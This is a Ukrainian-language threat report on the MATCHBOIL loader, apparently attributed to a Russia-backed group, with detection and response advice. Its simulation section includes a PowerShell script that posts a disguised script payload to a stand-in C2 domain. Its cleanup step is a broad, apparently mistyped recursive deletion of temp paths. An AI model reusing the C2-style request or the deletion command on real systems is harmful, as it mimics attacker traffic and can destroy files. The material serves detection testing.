Кампанія MatchBoil: шкодомисник впроваджує нові техніки для постійних атак

Резюме

UAC-0099, APT-група, що підтримує Росію, значно еволюціонувала свій C# завантажувач MATCHBOIL в період з 2024 по 2026 рік. Шкідливе програмне забезпечення використовується для завантаження, розгортання та підтримки стійкості вторинних корисних даних, таких як MATCHWOK бекдор. Новіші варіанти включають сильнішу обфускацію з .NET Reactor, техніки уникнення пісочниці та дедалі вдосконаленіші методи комунікації C2.

Розслідування

Дослідники з ESET провели хронологічний аналіз варіантів MATCHBOIL, ідентифікованих за допомогою телеметрії та під час відправок на VirusTotal. Розслідування задокументувало прогресування шкідливого ПЗ від базової обфускації Unicode до просунутої віртуалізації коду та обману користувача за допомогою GUI. Дослідники також декомпілювали C# компоненти, щоб вивчити WMI запити, логіку HTTPS комунікації та техніки забезпечення стійкості.

Захист

Організації повинні моніторити підозріле виконання C# та неочікувані заплановані завдання або зміни у реєстрі в профілях користувачів. Виявлення на кінцевій точці повинно ідентифікувати несанкціоновані запити WMI та незвичайний вихідний HTTPS трафік до попередньо неохарактеризованих доменів. Команди безпеки також повинні стежити за відомими шкідливими іменами файлів і підозрілими аргументами командного рядка, такими як -auto or -plans.

Відповідь

Коли виявляється активність MATCHBOIL, ізолюйте уражені хости, щоб запобігти подальшій доставці корисного навантаження та комунікації C2. Проведіть комплексне судове розслідування, щоб визначити початковий вектор інфекції, який, ймовірно, є фішингом. Перевірте ключі Run у реєстрі та заплановані завдання на предмет несанкціонованих записів та перевірте скомпрометовані системи на наявність вторинних корисних даних, таких як MATCHWOK.

Виконання симуляції

• Розповідь про атаку та команди: Зловмисник прагне встановити канал Command and Control (C2), щоб отримати інструкції та завантажити додаткові модулі. Щоб уникнути простого блокування на основі IP, атакуючий використовує домен, зареєстрований під загальним TLD (.pro). Атакуючий симулює техніку “MATCHBOIL”, відправляючи HTTPS запит, у якому корисне навантаження містить <script> блок, який імітує доставку зловмисних шістнадцятково-кодованих інструкцій, замаскованих під веб-контент. Це належить викликати як доменну умову, так і умову навантаження правила виявлення.

• Скрипт регресійного тестування:

  # Симуляція комунікації MATCHBOIL C2
  # Цей скрипт виконує HTTPS запит до домену .pro, що містить теги скрипта в навантаженні/тілі.
  
  $targetUrl = "https://test-matchboil-c2.pro/api/v1/update"
  $maliciousPayload = "<script>eval(hex_decode('414243'))</script>"
  
  try {
      Write-Host "[+] Спроба комунікації C2 до $targetUrl" -ForegroundColor Cyan
      Invoke-RestMethod -Uri $targetUrl -Method Post -Body $maliciousPayload -ContentType "application/octet-stream"
  }
  catch {
      Write-Host "[!] Запит завершено (Очікувана невдача, якщо домен не існує, але телеметрія повинна бути зібрана)" -ForegroundColor Yellow
  }

• Команди очищення:

  # Скрипт не вносить стійких змін. 
  # Лише переконайтеся, що видалені всі локальні тимчасові файли, створені під час тестування.
  Remove-Item -Path "$env:TEMP*" -Recurse -ErrorAction SilentlyContinue